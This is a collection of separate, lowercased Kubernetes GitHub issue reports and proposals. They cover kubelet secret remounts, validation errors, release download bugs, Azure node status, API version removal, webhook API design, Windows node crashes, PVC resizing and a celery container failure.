gke-ahead4-default-pool-a5a401be-bqhh status is now: nodenotschedulable      if i ssh into the node and take a look in the kubelet.log file, it seems to be constantly attempting to remount service tokens/secrets:      i1021 12:32:27.331962   16040 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/2a1db209-96d4-11e6-9303-42010af0003f-default-token-d4m22\   spec.name: \ default-token-d4m22\   to pod \ 2a1db209-96d4-11e6-9303-42010af0003f\   uid: \ 2a1db209-96d4-11e6-9303-42010af0003f\  . volume is already mounted to pod, but remount was requested. i1021 12:32:27.332130   16040 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/2a1db209-96d4-11e6-9303-42010af0003f-dac-crm-secrets\   spec.name: \ dac-crm-secrets\   to pod \ 2a1db209-96d4-11e6-9303-42010af0003f\   uid: \ 2a1db209-96d4-11e6-9303-42010af0003f\  . volume is already mounted to pod, but remount was requested. i1021 12:32:27.336726   16040 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/2a1db209-96d4-11e6-9303-42010af0003f-default-token-d4m22\   spec.name: \ default-token-d4m22\   pod \ 2a1db209-96d4-11e6-9303-42010af0003f\   uid: \ 2a1db209-96d4-11e6-9303-42010af0003f\  . i1021 12:32:27.336781   16040 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/2a1db209-96d4-11e6-9303-42010af0003f-dac-crm-secrets\   spec.name: \ dac-crm-secrets\   pod \ 2a1db209-96d4-11e6-9303-42010af0003f\   uid: \ 2a1db209-96d4-11e6-9303-42010af0003f\  . i1021 12:32:28.337160   16040 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/92c64bba-9765-11e6-849b-42010af0003f-william-fountain-secrets\   spec.name: \ william-fountain-secrets\   to pod \ 92c64bba-9765-11e6-849b-42010af0003f\   uid: \ 92c64bba-9765-11e6-849b-42010af0003f\  . volume is already mounted to pod, but remount was requested. i1021 12:32:28.337351   16040 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/be3aedea-9002-11e6-9474-42010af0003f-default-token-llrsq\   spec.name: \ default-token-llrsq\   to pod \ be3aedea-9002-11e6-9474-42010af0003f\   uid: \ be3aedea-9002-11e6-9474-42010af0003f\  . volume is already mounted to pod, but remount was requested. i1021 12:32:28.337459   16040 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/92c64bba-9765-11e6-849b-42010af0003f-default-token-d4m22\   spec.name: \ default-token-d4m22\   to pod \ 92c64bba-9765-11e6-849b-42010af0003f\   uid: \ 92c64bba-9765-11e6-849b-42010af0003f\  . volume is already mounted to pod, but remount was requested. i1021 12:32:28.342909   16040 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/be3aedea-9002-11e6-9474-42010af0003f-default-token-llrsq\   spec.name: \ default-token-llrsq\   pod \ be3aedea-9002-11e6-9474-42010af0003f\   uid: \ be3aedea-9002-11e6-9474-42010af0003f\  . i1021 12:32:28.343478   16040 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/92c64bba-9765-11e6-849b-42010af0003f-william-fountain-secrets\   spec.name: \ william-fountain-secrets\   pod \ 92c64bba-9765-11e6-849b-42010af0003f\   uid: \ 92c64bba-9765-11e6-849b-42010af0003f\  . i1021 12:32:28.343860   16040 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/92c64bba-9765-11e6-849b-42010af0003f-default-token-d4m22\   spec.name: \ default-token-d4m22\   pod \ 92c64bba-9765-11e6-849b-42010af0003f\   uid: \ 92c64bba-9765-11e6-849b-42010af0003f\  . i1021 12:32:31.350823   16040 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/89f5ede6-976f-11e6-849b-42010af0003f-scottart-secrets\   spec.name: \ scottart-secrets\   to pod \ 89f5ede6-976f-11e6-849b-42010af0003f\   uid: \ 89f5ede6-976f-11e6-849b-42010af0003f\  . volume is already mounted to pod, but remount was requested. i1021 12:32:31.351028   16040 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/89f5ede6-976f-11e6-849b-42010af0003f-default-token-d4m22\   spec.name: \ default-token-d4m22\   to pod \ 89f5ede6-976f-11e6-849b-42010af0003f\   uid: \ 89f5ede6-976f-11e6-849b-42010af0003f\  . volume is already mounted to pod, but remount was requested. i1021 12:32:31.355243   16040 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/89f5ede6-976f-11e6-849b-42010af0003f-scottart-secrets\   spec.name: \ scottart-secrets\   pod \ 89f5ede6-976f-11e6-849b-42010af0003f\   uid: \ 89f5ede6-976f-11e6-849b-42010af0003f\  . i1021 12:32:31.355612   16040 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/89f5ede6-976f-11e6-849b-42010af0003f-default-token-d4m22\   spec.name: \ default-token-d4m22\   pod \ 89f5ede6-976f-11e6-849b-42010af0003f\   uid: \ 89f5ede6-976f-11e6-849b-42010af0003f\  .      please help!

what?\r the following pod yaml works on 1.4 cluster:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   labels:\r     name: nginx\r   annotations:\r     pod.beta.kubernetes.io/init-containers: ' \r       {\r         \ name\ : \ fun\ ,\r         \ image\ : \ alpine\ ,\r         \ command\ :  \r           \ /bin/sh\ ,\r           \ -c\ ,\r           \ sleep 5\ \r          ,\r         \ env\ :  \r           {\r             \ name\ : \ my_pod_ip\ ,\r             \ valuefrom\ : {\r               \ fieldref\ : {\r                 \ apiversion\ : \ \ ,\r                 \ fieldpath\ : \ status.podip\ \r               }\r             }\r           }\r          \r       }\r      '\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     ports:\r     - containerport: 80\r    \r \r however, creating it against 1.5.1 or master branch 84d0fbd gives the following error:\r    \r the pod \ nginx\  is invalid: spec.initcontainers 0 .env 0 .valuefrom.fieldref.apiversion: required value\r    \r

bug report  \r \r   kubernetes version  \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : \r    \r vmware\r    \r -   os    e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r    \r -   kernel    e.g.  uname -a  :\r    \r 3.13.0-106-generic  153-ubuntu smp tue dec 6 15:44:32 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r \r   what happened  :\r i started installation with kube-up.sh on ubuntu, and kubelet failed to start because:\r    \r flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a future version.\r unknown flag: --config\r    \r i realized that those options are deprecated now on 1.6.1 release, so i started to think that kube 1.5.1 was downloading 1.6.1 client and server binaries. \r so i looked into the download-release.sh script and found that was getting the latest stable release number to get binaries:\r    \r https://storage.googleapis.com/kubernetes-release/release/stable.txt\r    \r i workaround this changing kube_version to 1.5.1 in download-release.sh script.   \r \r   how to reproduce it  :\r   download https://github.com/kubernetes/kubernetes/releases/download/v1.5.1/kubernetes.tar.gz\r   untar\r   set config-default.sh according to your infrastructure\r   run 'kubernetes_provider=ubuntu ./kube-up.sh' in kubernetes/cluster folder\r   during binaries download, you'll see that version 1.6.1 is being downloaded:\r    \r prepare flannel 0.5.5 release ...\r                 % total    % received % xferd  average speed   time    time     time  current\r                                                dload  upload   total   spent    left  speed\r 100   608    0   608    0     0   1074      0 --:--:-- --:--:-- --:--:--  1081\r 100 3408k  100 3408k    0     0   212k      0  0:00:16  0:00:16 --:--:--  271k\r               prepare etcd 2.3.1 release ...\r                 % total    % received % xferd  average speed   time    time     time  current\r                                                dload  upload   total   spent    left  speed\r 100   606    0   606    0     0    801      0 --:--:-- --:--:-- --:--:--   998\r 100 7946k  100 7946k    0     0   260k      0  0:00:30  0:00:30 --:--:--  282k\r               prepare kubernetes 1.6.1 release ...\r                 % total    % received % xferd  average speed   time    time     time  current\r                                                dload  upload   total   spent    left  speed\r 100 29.0m  100 29.0m    0     0  7858k      0  0:00:03  0:00:03 --:--:-- 7863k\r                 % total    % received % xferd  average speed   time    time     time  current\r                                                dload  upload   total   spent    left  speed\r 100  346m  100  346m    0     0  9590k      0  0:00:37  0:00:37 --:--:--  9.9m\r               done! all your binaries locate in kubernetes/cluster/ubuntu/binaries directory\r    \r   script fails in validation stage:\r    \r switched to context \ ubuntu\ .\r               wrote config for ubuntu to /root/.kube/config\r               ... calling validate-cluster\r               unable to connect to the server: eof\r                kubectl failed, will retry 2 times \r               unable to connect to the server: eof\r                kubectl failed, will retry 1 times \r               unable to connect to the server: eof\r                'kubectl get nodes' failed, giving up \r    \r   and kubelet.log shows:\r    \r \r flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a future version.\r unknown flag: --config\r usage of /opt/bin/kubelet:\r    \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r azure, aad, nodestatus, api\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : \r azure\r -   os    e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r -   kernel    e.g.  uname -a  :\r linux k8s-master-c99bc558-0 4.4.0-28-generic  47-ubuntu smp fri jun 24 10:09:13 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r acs  azure container service \r -   others  :\r \r \r   what happened  :\r when aad down, or not working in someway, an existing kuberenetes cluster provisioned through acs  azure container service  will failed to retrieve node status. this is because, kuberentes implementation in azure to get node status is through azure control plane or azure api. \r \r   what you expected to happen  :\r the expected behavior is not to use azure control plane or azure api to retrieve node status.\r \r   how to reproduce it    as minimally and precisely as possible :\r here is what repro’ed.\r  \r // create a deployment with 4 replicas\r azureuser@k8s-master-c99bc558-0:~$ kubectl run nginx --image=nginx --replicas=4\r deployment \ nginx\  created\r \r azureuser@k8s-master-c99bc558-0:~$ kubectl get po\r name                    ready     status              restarts   age\r nginx-701339712-642f6   0/1       containercreating   0          5s\r nginx-701339712-nk62g   0/1       containercreating   0          5s\r nginx-701339712-pkp2x   0/1       containercreating   0          5s\r nginx-701339712-z3qt4   0/1       containercreating   0          5s\r \r azureuser@k8s-master-c99bc558-0:~$ kubectl get no\r name                    status                     age\r k8s-agent-c99bc558-0    ready                      8m\r k8s-agent-c99bc558-1    ready                      8m\r k8s-agent-c99bc558-2    ready                      7m\r k8s-master-c99bc558-0   ready,schedulingdisabled   8m\r  \r // delete the service principal, to simulate aad failure\r bash-4.3  az ad sp delete --id e451bcf5-41b7-4bbf-bd9e-f45225535c74\r  \r // after a while, i guess when the accesstoken get expired, and failed to refresh due to service principal already removed.\r azureuser@k8s-master-c99bc558-0:~$ while true; do kubectl get no; sleep 20; done\r name                    status                        age\r k8s-agent-c99bc558-0      notready                        1h\r k8s-agent-c99bc558-1      notready                        1h\r k8s-agent-c99bc558-2      notready                        1h\r k8s-master-c99bc558-0     notready  ,schedulingdisabled   1h\r  \r // the pods still showing healthy.\r azureuser@k8s-master-c99bc558-0:~$ kubectl get po\r name                    ready     status    restarts   age\r nginx-701339712-642f6   1/1       running   0          1h\r nginx-701339712-nk62g   1/1       running   0          1h\r nginx-701339712-pkp2x   1/1       running   0          1h\r nginx-701339712-z3qt4   1/1       running   0          1h\r \r   anything else we need to know  :\r i found another issue, which describes different problem. however, the request is the same, to block azure api when try to get node status.  46602 \r \r add more thought, i noticed azure imds just get public previewed. it could be potentially served as data plane of azure. may worth considering.\r https://azure.microsoft.com/en-us/blog/announcing-public-preview-of-azure-instance-metadata-service/\r

before we remove an api object version, we need to be certain that all stored objects have been upgraded to a version that will be readable in the future. the old plan for that was to run the cluster/upgrade-storage-objects.sh script after each upgrade. unfortunately, there are a number of problems with this:\r \r   the script is old and incomplete, as api authors haven't been consistently adding their api objects to it  no doubt due to a lack of documentation in the right places .\r   instructions to run the script in the release notes have been spotty.\r   we believe not all distributions have been running the script after upgrades.\r \r therefore, we need to design a robust solution for this problem, which works in the face of ha installations, user-provided apiservers, rollbacks, patch version releases, etc. probably this won't look much like a script that you run after an upgrade, instead it may look more like a system where apiservers come to consensus on the desired storage version, plus a controller that does the job that script was supposed to do after a consensus change.\r \r in the mean time,   it is not safe to remove api object versions, so we are instating a moratorium on api object version removal until this system is in place  .  deprecations are still fine. \r \r

i think we haven't taken a principled stance on how imperative api calls ought to work in kubernetes. most of our api surface area is rest calls and the current api system is optimized for those. we have a few outliers which are special snowflakes  logs, exec, attach, portforward, proxy . but we are recently adding more and more webhooks to the system, and expanding the target audience of who will be implementing the webhooks; and i think therefore it's time to make sure the api patterns we use will make sense to the people who need to implement the webhooks.\r \r currently, webhooks in the system use the rest styled spec/status objects. but this doesn't make a lot of sense:\r 1. why \ spec\  and \ status\  instead of \ request\  and \ response\ ? people will at a minimum have to look up in the api documentation to figure out what they should do. it may feel \ natural\  to folks who have been working on kubernetes for the past year or two, but i think that's status quo or familiarity bias, and it won't make sense to anyone fresh to the system.\r 2. these objects are not intended for long-term persistence; they are not really objects. they are ephemeral constructs that only exist during one small part of the overall request path.\r 3. the input and output of our existing webhooks are very different data types. it is not very natural to phrase such things as different fields in the same object type.  imagine writing these as a go function, having the fields of e.g. admissionreview as the input parameters and also having the fields of admissionreview as the output parameters:  func review inspec spec, _ status   _spec, outstatus status  ; i think few reviewers on the project would accept that. \r \r arguments i have heard in favor of the current one-object system:\r    there's just one type for webhook authors to look up.\r      my response: foorequest and fooresponse are not really more burdensome to look up.\r    consistency with our current webhooks\r      my response: consistency with a bad idea belongs in the \ con\  section. @cheftako says \ i'd rather explain why this one is different than explain why we did it a way that we consider wrong.\ \r \r how do you know if a given thing should follow webhook rules or normal kubernetes api rules?\r   it supports exactly one verb  likely post \r   it is probably used by control plane infrastructure during the course of servicing a top level  e.g., initiated by a user via  kubectl   api request.\r \r so, rough proposal:\r   webhooks / imperative calls shall have a specific metadata type.\r   webhook calls will have separate foorequest and fooresponse types.\r   neither the request nor the response shall contain \ spec\  or \ status\  fields.\r \r hookmeta should look like this, not sure if we need any other fields right now:\r \r    go\r // hookmeta contains metadata that is used to track webhook  imperative  requests.\r // webhooks must echo back everything here in their response.\r // this is different from objectmeta and listmeta because webhook  imperative  calls\r // do not represent objects, nor do they represent lists of objects: they represent commands.\r type hookmeta struct {\r   // uid is a time-and-space unique identifier to this particular invocation of the webhook.\r   // it is useful for matching up logs / audit logs between caller and callee, and for proving\r   // that the callee is responding to the correct response  doesn't have any weird\r   // caching bugs, for example .\r   uid uid\r }\r    \r \r and an example webhook api might be:\r \r    go\r type admissionreviewrequest struct {\r   typemeta  json:\ ,inline\  \r   hookmeta  json:\ metadata\  \r \r   kind gvr\r   resource gvr\r   namespace string\r   name string\r   ...\r }\r \r type admissionreviewresponse struct {\r   typemeta  json:\ ,inline\  \r   hookmeta  json:\ metadata\  \r   \r   allowed bool\r   status  metav1.status\r   \r   // mutating webhooks may set...\r   patchtype string\r   patch   byte\r }\r    \r \r finally, what should we do about existing webhooks which do not use this format? i think, for any that are alpha, we should require they change to this format for beta. for ones seeking to go beta -> v1, we should consider the costs to making existing implementations change, with a bias towards making the api change for v1. for webhooks that are already in v1  subjectaccessreview? , we should not change until we're ready to go to v2.

{   \ kind\ : \ status\ ,   \ apiversion\ : \ v1beta3\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ namespaces \\\ staging\\\  already exists\ ,   \ reason\ : \ alreadyexists\ ,   \ details\ : {     \ id\ : \ staging\ ,     \ kind\ : \ namespaces\    },   \ code\ : 409 }  cc @derekwaynecarr

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r   what you expected to happen  :\r \r up to kubernetes 1.9, there is still no direct ha approach on kubeadm, we still need to do some other work to build ha kubernetes cluster. i think we can hack on this to simplify kubernetes's ha deployment with kubeadm.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

\r   is this a bug report or feature request?  :\r \r   \r   what you expected to happen  :\r currently k8s has  built-in-node-labels    topologykey , for example, kubernetes.io/hostname ,  beta.kubernetes.io/instance-type  . and k8s provides interfaces for cloud providers to implement that . question: if i want to   add a custom label   as a  topologykey  that specific to the cloud provider i am using, is there a way to create the label without touching k8s code?  e.g. without adding a new interface in k8s code  it's better if i can do all the stuff inside the cloud provider code and k8s can still \ know\  that.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r bsod occurs on windows worker nodes more than two or three times a week, although this is not constant. the thing i checked with bsod is unexpected_kernel_mode_trap, and the related module name is ndis.sys.\r \r   what you expected to happen  :\r there is no kernel panic when i configure and run multiple linux kubernetes worker nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we used kops to build a kernel node, kubenet for an existing kernel cluster, and flannel windows + l2bridge configuration for a newly built windows node.\r \r   anything else we need to know?  :\r the same problem occurred when using wincni, and the same problem occurs when using flannel + l2bridge, and it is expected that this problem will occur when an incorrect configuration request is requested to hns.\r \r   environment  :\r - kubernetes version  use  kubectl version  : existing linux worker nodes are v1.9.4, and windows worker nodes are v1.10.4\r - cloud provider or hardware configuration: aws ec2\r - os  e.g. from /etc/os-release : existing linux worker nodes are 'debian gnu/linux 9.3  stretch ', and windows worker nodes are 'windows server 1803'.\r - kernel  e.g.  uname -a  : existing linux worker nodes are 'linux ip-x-y-z 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux', and windows worker nodes are '10.0.17134.137'.\r - install tools: existing linux worker nodes built with kops, and windows nodes installed manually.\r - others: i attach the bsod screenshot. after restarting the instance, i will collect the memory dump and try to analyze it with windbg.\r \r ! unexpected_kernel_mode_trap_ndis_sys  https://user-images.githubusercontent.com/35712113/43618802-6d94d34e-9705-11e8-85d1-61a0e30f2875.jpg \r

is this a bug report or feature request?:\r \r   \r   what happened:  \r currently i am using k8s version 1.11.2 on azure aks. i've tried resizing the persistent volume by adding  allowvolumeexpansion: true  for the storage class and editing the pvc to the desired size.\r \r after restarting the pod the size of the pvc has changed to the desired size i.e from 2ti -> 3ti \r    \r kubectl get pvc\r mongo-0     bound     pvc-xxxx   3ti        rwo            managed-premium   1h\r    \r \r  but when i login to the pod and do a  df -h  the disk size still remains at 2ti. \r    \r kubetl exec -it mongo-0 bash\r root@mongo-0:/  df -h\r filesystem      size  used avail use% mounted on\r /dev/sdc        2.0t  372m  2.0t   1% /mongodb\r    \r \r 

not sure if this is a support issue or a bug.  http://stackoverflow.com/questions/32528039/gce-persistent-disk-kubernetes-and-data-persistence/32530650 32530650  user mounted a gce pd in a pod that is controlled by a one-pod rc, wrote some data, scaled the rc down to 0, then scaled it back up to 1.    1  user says the data has disappeared from gce pd when the pod is re-created at scale-up time  2  user says that when scaling up it \ hangs on the command line and loops forever when i view the kublet's logs\

the kubelet and kube-proxy are given no certificate and connect to the insecure port of the api server.

after changing kubemar-scale to run 2000-node kubemarks  with protobufs , it is failing with errors like these:  14:38:23    feature:performance  should be able to handle 30 pods per node  it  14:38:23   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/load.go:174 14:38:23  14:38:23   scaling rc load-small-rc-3813 for the first time 14:38:23   expected error: 14:38:23       < errors.errorstring | 0xc8216acd70>: { 14:38:23           s: \ error while scaling rc load-small-rc-3813 to 2 replicas: timed out waiting for the condition\ , 14:38:23       } 14:38:23       error while scaling rc load-small-rc-3813 to 2 replicas: timed out waiting for the condition 14:38:23   not to have occurred  @davidopp @gmarek @fgrzadkowski @kubernetes/sig-scalability

this is a follow up to issue https://github.com/kubernetes/kubernetes/issues/29051 and pr https://github.com/kubernetes/kubernetes/pull/29077  we should: - modify attach/detach controller to cache pvc/pv for each volume so even if these objects are deleted, pod deletion events can be processed without error, resulting in even faster detaches. - add a test to verify this scenario  pvc volumes are detached on namespace deletion  and prevent future regressions.

it would be useful to be able to provide the downscaleforbiddenwindow as part of the horizontal pod autoscaler configuration, which would adjust the amount of time that the cpu has to be below the threshold before scaling down.  this is useful for preventing a relatively short dips in cpu from causing a downscale event.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : celery-rabbitmq  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0+5cb86ee\ , gitcommit:\ 5cb86ee022267586db386f62781338b0483733b3\ , gittreestate:\ not a git tree\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ dirty\ }    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : osx -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  : if i build and host the image built from  celery-app-add/dockerfile , the example does not work as expected.    what you expected to happen  : if i build the docker image and host it on docker hub, the image should be the same as the one hosted on  endocode/celery-app-add  and work with the example.    how to reproduce it    as minimally and precisely as possible :      bash   run all of the controllers and services in the example   see the tasks being run successfully via the flower interface   shutdown the rc's and the services cd celery-app-add docker build -t <mine>/celery-app-add . docker push <mine>/celery-app-add   in the celery replication controller config, replace endocode/celery-app-add with <mine>/celery-app-add.   run all the controllers and services in the example   look at the logs for the celery-controller after kubectl get pods shows an error has occurred.        anything else do we need to know  : main errors from the controller logs:      traceback  most recent call last : 2016-08-18t21:05:44.050245103z   file \ /usr/local/bin/celery\ , line 11, in <module> 2016-08-18t21:05:44.050249543z     sys.exit main    2016-08-18t21:05:44.050251856z   file \ /usr/local/lib/python3.4/site-packages/celery/__main__.py\ , line 30, in main 2016-08-18t21:05:44.050255000z     main   2016-08-18t21:05:44.050257252z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/celery.py\ , line 81, in main 2016-08-18t21:05:44.050259392z     cmd.execute_from_commandline argv  2016-08-18t21:05:44.050261768z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/celery.py\ , line 793, in execute_from_commandline 2016-08-18t21:05:44.050264057z     super celerycommand, self .execute_from_commandline argv    2016-08-18t21:05:44.050266462z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/base.py\ , line 311, in execute_from_commandline 2016-08-18t21:05:44.050268613z     return self.handle_argv self.prog_name, argv 1:   2016-08-18t21:05:44.050270723z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/celery.py\ , line 785, in handle_argv 2016-08-18t21:05:44.050273025z     return self.execute command, argv  2016-08-18t21:05:44.050275154z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/celery.py\ , line 717, in execute 2016-08-18t21:05:44.050277285z      .run_from_argv self.prog_name, argv 1: , command=argv 0   2016-08-18t21:05:44.050279383z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/worker.py\ , line 179, in run_from_argv 2016-08-18t21:05:44.050281510z     return self  args,   options  2016-08-18t21:05:44.050283584z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/base.py\ , line 274, in __call__ 2016-08-18t21:05:44.050286059z     ret = self.run  args,   kwargs  2016-08-18t21:05:44.050288113z   file \ /usr/local/lib/python3.4/site-packages/celery/bin/worker.py\ , line 212, in run 2016-08-18t21:05:44.050290266z     state_db=self.node_format state_db, hostname ,   kwargs 2016-08-18t21:05:44.050292354z   file \ /usr/local/lib/python3.4/site-packages/celery/worker/__init__.py\ , line 100, in __init__ 2016-08-18t21:05:44.050294484z     self.setup_instance   self.prepare_args   kwargs   2016-08-18t21:05:44.050296529z   file \ /usr/local/lib/python3.4/site-packages/celery/worker/__init__.py\ , line 136, in setup_instance 2016-08-18t21:05:44.050298729z     self.on_init_blueprint   2016-08-18t21:05:44.050300747z   file \ /usr/local/lib/python3.4/site-packages/celery/apps/worker.py\ , line 143, in on_init_blueprint 2016-08-18t21:05:44.050302904z     self._custom_logging = self.setup_logging   2016-08-18t21:05:44.050304982z   file \ /usr/local/lib/python3.4/site-packages/celery/apps/worker.py\ , line 184, in setup_logging 2016-08-18t21:05:44.050307151z     redirect_stdouts=false, colorize=colorize, hostname=self.hostname, 2016-08-18t21:05:44.050309202z   file \ /usr/local/lib/python3.4/site-packages/celery/app/log.py\ , line 70, in setup 2016-08-18t21:05:44.050313694z     loglevel, logfile, colorize=colorize, hostname=hostname, 2016-08-18t21:05:44.050315963z   file \ /usr/local/lib/python3.4/site-packages/celery/app/log.py\ , line 118, in setup_logging_subsystem 2016-08-18t21:05:44.050318135z     root, logfile, loglevel, format, colorize,   kwargs 2016-08-18t21:05:44.050320218z   file \ /usr/local/lib/python3.4/site-packages/celery/app/log.py\ , line 156, in _configure_logger 2016-08-18t21:05:44.050322390z     colorize,   kwargs  2016-08-18t21:05:44.050328980z   file \ /usr/local/lib/python3.4/site-packages/celery/app/log.py\ , line 222, in setup_handlers 2016-08-18t21:05:44.050331228z     handler = self._detect_handler logfile  2016-08-18t21:05:44.050333300z   file \ /usr/local/lib/python3.4/site-packages/celery/app/log.py\ , line 233, in _detect_handler 2016-08-18t21:05:44.050335504z     return watchedfilehandler logfile  2016-08-18t21:05:44.050337579z   file \ /usr/local/lib/python3.4/logging/handlers.py\ , line 434, in __init__ 2016-08-18t21:05:44.050339701z     logging.filehandler.__init__ self, filename, mode, encoding, delay  2016-08-18t21:05:44.050341771z   file \ /usr/local/lib/python3.4/logging/__init__.py\ , line 1006, in __init__ 2016-08-18t21:05:44.050343962z     streamhandler.__init__ self, self._open    2016-08-18t21:05:44.050346003z   file \ /usr/local/lib/python3.4/logging/__init__.py\ , line 1035, in _open 2016-08-18t21:05:44.050348139z     return open self.basefilename, self.mode, encoding=self.encoding  2016-08-18t21:05:44.050350245z permissionerror:  errno 13  permission denied: '/data/celery.log' 2016-08-18t21:05:44.846560901z traceback  most recent call last : 2016-08-18t21:05:44.846585632z   file \ /usr/local/lib/python3.4/site-packages/kombu/utils/__init__.py\ , line 423, in __call__ 2016-08-18t21:05:44.846589080z     return self.__value__ 2016-08-18t21:05:44.846591547z attributeerror: 'channelpromise' object has no attribute '__value__' 2016-08-18t21:05:44.846594397z  